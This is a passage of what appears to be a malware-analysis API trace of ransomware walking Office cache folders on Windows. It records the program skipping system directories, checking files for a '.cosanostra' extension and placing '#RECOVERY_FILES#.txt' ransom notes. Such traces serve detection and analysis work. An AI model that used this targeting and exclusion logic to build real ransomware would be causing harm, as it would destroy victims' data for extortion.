returned 1 [0078.059] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="Windows") returned -1 [0078.059] lstrlenW (lpString="Windows") returned 7 [0078.059] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="Program Files") returned -1 [0078.059] lstrlenW (lpString="Program Files") returned 13 [0078.059] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="Program Files (x86)") returned -1 [0078.059] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.059] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="$Recycle.bin") returned 1 [0078.059] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.059] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="System Volume Information") returned -1 [0078.059] lstrlenW (lpString="System Volume Information") returned 25 [0078.059] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 79 [0078.059] StrStrIW (lpFirst="dwtrig20.exe", lpSrch=".cosanostra") returned 0x0 [0078.059] lstrcmpW (lpString1="dwtrig20.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.059] lstrcmpW (lpString1="dwtrig20.exe", lpString2="_uninstalling_.png") returned 1 [0078.059] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 79 [0078.059] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.059] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="Windows") returned -1 [0078.059] lstrlenW (lpString="Windows") returned 7 [0078.059] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="Program Files") returned -1 [0078.059] lstrlenW (lpString="Program Files") returned 13 [0078.059] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="Program Files (x86)") returned -1 [0078.059] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.059] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="$Recycle.bin") returned 1 [0078.059] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.059] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="System Volume Information") returned -1 [0078.059] lstrlenW (lpString="System Volume Information") returned 25 [0078.059] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 94 [0078.059] StrStrIW (lpFirst="Microsoft.VC90.CRT.manifest", lpSrch=".cosanostra") returned 0x0 [0078.059] lstrcmpW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.059] lstrcmpW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="_uninstalling_.png") returned 1 [0078.060] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 94 [0078.060] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.060] lstrcmpiW (lpString1="msvcr90.dll", lpString2="Windows") returned -1 [0078.060] lstrlenW (lpString="Windows") returned 7 [0078.060] lstrcmpiW (lpString1="msvcr90.dll", lpString2="Program Files") returned -1 [0078.060] lstrlenW (lpString="Program Files") returned 13 [0078.060] lstrcmpiW (lpString1="msvcr90.dll", lpString2="Program Files (x86)") returned -1 [0078.060] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.060] lstrcmpiW (lpString1="msvcr90.dll", lpString2="$Recycle.bin") returned 1 [0078.060] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.060] lstrcmpiW (lpString1="msvcr90.dll", lpString2="System Volume Information") returned -1 [0078.060] lstrlenW (lpString="System Volume Information") returned 25 [0078.060] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 78 [0078.060] StrStrIW (lpFirst="msvcr90.dll", lpSrch=".cosanostra") returned 0x0 [0078.060] lstrcmpW (lpString1="msvcr90.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.060] lstrcmpW (lpString1="msvcr90.dll", lpString2="_uninstalling_.png") returned 1 [0078.060] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 78 [0078.060] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.060] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="Windows") returned -1 [0078.060] lstrlenW (lpString="Windows") returned 7 [0078.060] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="Program Files") returned -1 [0078.060] lstrlenW (lpString="Program Files") returned 13 [0078.060] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="Program Files (x86)") returned -1 [0078.060] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.060] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="$Recycle.bin") returned 1 [0078.060] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.060] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="System Volume Information") returned -1 [0078.060] lstrlenW (lpString="System Volume Information") returned 25 [0078.060] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 79 [0078.060] StrStrIW (lpFirst="OfficeLR.cab", lpSrch=".cosanostra") returned 0x0 [0078.062] lstrcmpW (lpString1="OfficeLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.062] lstrcmpW (lpString1="OfficeLR.cab", lpString2="_uninstalling_.png") returned 1 [0078.062] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 79 [0078.062] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.062] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="Windows") returned -1 [0078.062] lstrlenW (lpString="Windows") returned 7 [0078.062] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="Program Files") returned -1 [0078.062] lstrlenW (lpString="Program Files") returned 13 [0078.062] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="Program Files (x86)") returned -1 [0078.062] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.063] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="$Recycle.bin") returned 1 [0078.063] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.063] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="System Volume Information") returned -1 [0078.063] lstrlenW (lpString="System Volume Information") returned 25 [0078.063] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 80 [0078.063] StrStrIW (lpFirst="OfficeMUI.msi", lpSrch=".cosanostra") returned 0x0 [0078.063] lstrcmpW (lpString1="OfficeMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.063] lstrcmpW (lpString1="OfficeMUI.msi", lpString2="_uninstalling_.png") returned 1 [0078.063] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 80 [0078.063] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.063] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="Windows") returned -1 [0078.063] lstrlenW (lpString="Windows") returned 7 [0078.063] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="Program Files") returned -1 [0078.063] lstrlenW (lpString="Program Files") returned 13 [0078.063] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="Program Files (x86)") returned -1 [0078.063] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.063] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="$Recycle.bin") returned 1 [0078.063] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.063] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="System Volume Information") returned -1 [0078.064] lstrlenW (lpString="System Volume Information") returned 25 [0078.064] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 80 [0078.064] StrStrIW (lpFirst="OfficeMUI.xml", lpSrch=".cosanostra") returned 0x0 [0078.064] lstrcmpW (lpString1="OfficeMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.064] lstrcmpW (lpString1="OfficeMUI.xml", lpString2="_uninstalling_.png") returned 1 [0078.064] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 80 [0078.064] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.064] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="Windows") returned -1 [0078.064] lstrlenW (lpString="Windows") returned 7 [0078.064] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="Program Files") returned -1 [0078.064] lstrlenW (lpString="Program Files") returned 13 [0078.064] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="Program Files (x86)") returned -1 [0078.064] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.064] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="$Recycle.bin") returned 1 [0078.064] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.064] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="System Volume Information") returned -1 [0078.064] lstrlenW (lpString="System Volume Information") returned 25 [0078.064] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 83 [0078.065] StrStrIW (lpFirst="OfficeMUISet.msi", lpSrch=".cosanostra") returned 0x0 [0078.065] lstrcmpW (lpString1="OfficeMUISet.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.065] lstrcmpW (lpString1="OfficeMUISet.msi", lpString2="_uninstalling_.png") returned 1 [0078.065] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 83 [0078.065] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.065] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="Windows") returned -1 [0078.065] lstrlenW (lpString="Windows") returned 7 [0078.065] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="Program Files") returned -1 [0078.065] lstrlenW (lpString="Program Files") returned 13 [0078.065] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="Program Files (x86)") returned -1 [0078.065] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.065] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="$Recycle.bin") returned 1 [0078.065] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.065] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="System Volume Information") returned -1 [0078.065] lstrlenW (lpString="System Volume Information") returned 25 [0078.065] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 83 [0078.065] StrStrIW (lpFirst="OfficeMUISet.xml", lpSrch=".cosanostra") returned 0x0 [0078.065] lstrcmpW (lpString1="OfficeMUISet.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.065] lstrcmpW (lpString1="OfficeMUISet.xml", lpString2="_uninstalling_.png") returned 1 [0078.066] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 83 [0078.066] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.066] lstrcmpiW (lpString1="osetupui.dll", lpString2="Windows") returned -1 [0078.066] lstrlenW (lpString="Windows") returned 7 [0078.066] lstrcmpiW (lpString1="osetupui.dll", lpString2="Program Files") returned -1 [0078.066] lstrlenW (lpString="Program Files") returned 13 [0078.066] lstrcmpiW (lpString1="osetupui.dll", lpString2="Program Files (x86)") returned -1 [0078.066] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.066] lstrcmpiW (lpString1="osetupui.dll", lpString2="$Recycle.bin") returned 1 [0078.066] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.066] lstrcmpiW (lpString1="osetupui.dll", lpString2="System Volume Information") returned -1 [0078.066] lstrlenW (lpString="System Volume Information") returned 25 [0078.066] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 79 [0078.066] StrStrIW (lpFirst="osetupui.dll", lpSrch=".cosanostra") returned 0x0 [0078.066] lstrcmpW (lpString1="osetupui.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.066] lstrcmpW (lpString1="osetupui.dll", lpString2="_uninstalling_.png") returned 1 [0078.066] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 79 [0078.066] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.067] lstrcmpiW (lpString1="pss10r.chm", lpString2="Windows") returned -1 [0078.067] lstrlenW (lpString="Windows") returned 7 [0078.067] lstrcmpiW (lpString1="pss10r.chm", lpString2="Program Files") returned 1 [0078.067] lstrlenW (lpString="Program Files") returned 13 [0078.067] lstrcmpiW (lpString1="pss10r.chm", lpString2="Program Files (x86)") returned 1 [0078.067] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.067] lstrcmpiW (lpString1="pss10r.chm", lpString2="$Recycle.bin") returned 1 [0078.067] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.067] lstrcmpiW (lpString1="pss10r.chm", lpString2="System Volume Information") returned -1 [0078.067] lstrlenW (lpString="System Volume Information") returned 25 [0078.067] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 77 [0078.067] StrStrIW (lpFirst="pss10r.chm", lpSrch=".cosanostra") returned 0x0 [0078.067] lstrcmpW (lpString1="pss10r.chm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.067] lstrcmpW (lpString1="pss10r.chm", lpString2="_uninstalling_.png") returned 1 [0078.067] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 77 [0078.067] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.067] lstrcmpiW (lpString1="setup.chm", lpString2="Windows") returned -1 [0078.067] lstrlenW (lpString="Windows") returned 7 [0078.067] lstrcmpiW (lpString1="setup.chm", lpString2="Program Files") returned 1 [0078.068] lstrlenW (lpString="Program Files") returned 13 [0078.068] lstrcmpiW (lpString1="setup.chm", lpString2="Program Files (x86)") returned 1 [0078.068] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.068] lstrcmpiW (lpString1="setup.chm", lpString2="$Recycle.bin") returned 1 [0078.068] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.068] lstrcmpiW (lpString1="setup.chm", lpString2="System Volume Information") returned -1 [0078.068] lstrlenW (lpString="System Volume Information") returned 25 [0078.068] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 76 [0078.068] StrStrIW (lpFirst="setup.chm", lpSrch=".cosanostra") returned 0x0 [0078.068] lstrcmpW (lpString1="setup.chm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.068] lstrcmpW (lpString1="setup.chm", lpString2="_uninstalling_.png") returned 1 [0078.068] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 76 [0078.068] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.068] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0078.068] lstrlenW (lpString="Windows") returned 7 [0078.068] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0078.068] lstrlenW (lpString="Program Files") returned 13 [0078.068] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0078.069] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.069] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0078.069] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.069] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0078.069] lstrlenW (lpString="System Volume Information") returned 25 [0078.069] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.069] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0078.069] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.069] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0078.069] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.069] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.069] lstrcmpiW (lpString1="ShellUI.MST", lpString2="Windows") returned -1 [0078.069] lstrlenW (lpString="Windows") returned 7 [0078.069] lstrcmpiW (lpString1="ShellUI.MST", lpString2="Program Files") returned 1 [0078.069] lstrlenW (lpString="Program Files") returned 13 [0078.069] lstrcmpiW (lpString1="ShellUI.MST", lpString2="Program Files (x86)") returned 1 [0078.069] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.069] lstrcmpiW (lpString1="ShellUI.MST", lpString2="$Recycle.bin") returned 1 [0078.069] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.070] lstrcmpiW (lpString1="ShellUI.MST", lpString2="System Volume Information") returned -1 [0078.070] lstrlenW (lpString="System Volume Information") returned 25 [0078.070] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 78 [0078.070] StrStrIW (lpFirst="ShellUI.MST", lpSrch=".cosanostra") returned 0x0 [0078.070] lstrcmpW (lpString1="ShellUI.MST", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.070] lstrcmpW (lpString1="ShellUI.MST", lpString2="_uninstalling_.png") returned 1 [0078.070] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 78 [0078.070] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0078.070] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0078.071] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0078.071] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0078.071] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0078.071] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0078.071] lstrlenW (lpString="Windows") returned 7 [0078.071] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0078.071] lstrlenW (lpString="Program Files") returned 13 [0078.071] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0078.071] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.071] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0078.074] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.074] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0078.074] lstrlenW (lpString="System Volume Information") returned 25 [0078.074] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned 66 [0078.074] lstrcmpW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0078.074] lstrcmpW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0078.074] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*") returned 68 [0078.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0078.550] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0078.550] lstrlenW (lpString="Windows") returned 7 [0078.550] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0078.550] lstrlenW (lpString="Program Files") returned 13 [0078.550] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0078.551] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.551] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0078.551] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.551] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0078.551] lstrlenW (lpString="System Volume Information") returned 25 [0078.551] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.") returned 68 [0078.551] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0078.551] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0078.551] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.551] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0078.551] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.") returned 68 [0078.551] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.551] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0078.551] lstrlenW (lpString="Windows") returned 7 [0078.551] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0078.551] lstrlenW (lpString="Program Files") returned 13 [0078.551] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0078.551] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.551] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0078.551] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.551] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0078.551] lstrlenW (lpString="System Volume Information") returned 25 [0078.552] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..") returned 69 [0078.552] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0078.552] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0078.552] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0078.552] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.552] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0078.552] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..") returned 69 [0078.552] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.552] lstrcmpiW (lpString1="Access.en-us", lpString2="Windows") returned -1 [0078.552] lstrlenW (lpString="Windows") returned 7 [0078.552] lstrcmpiW (lpString1="Access.en-us", lpString2="Program Files") returned -1 [0078.552] lstrlenW (lpString="Program Files") returned 13 [0078.552] lstrcmpiW (lpString1="Access.en-us", lpString2="Program Files (x86)") returned -1 [0078.552] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.552] lstrcmpiW (lpString1="Access.en-us", lpString2="$Recycle.bin") returned 1 [0078.552] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.552] lstrcmpiW (lpString1="Access.en-us", lpString2="System Volume Information") returned -1 [0078.552] lstrlenW (lpString="System Volume Information") returned 25 [0078.552] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 79 [0078.553] lstrcmpW (lpString1="Access.en-us", lpString2=".") returned 1 [0078.553] lstrcmpW (lpString1="Access.en-us", lpString2="..") returned 1 [0078.553] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*") returned 81 [0078.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a7b0 [0078.744] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0078.744] lstrlenW (lpString="Windows") returned 7 [0078.744] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0078.744] lstrlenW (lpString="Program Files") returned 13 [0078.744] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0078.744] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.744] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0078.744] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.744] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0078.744] lstrlenW (lpString="System Volume Information") returned 25 [0078.744] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\.") returned 81 [0078.744] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0078.744] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.744] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0078.744] lstrlenW (lpString="Windows") returned 7 [0078.744] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0078.744] lstrlenW (lpString="Program Files") returned 13 [0078.744] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0078.744] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.744] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0078.744] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.745] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0078.745] lstrlenW (lpString="System Volume Information") returned 25 [0078.745] wnsprintfW (in: 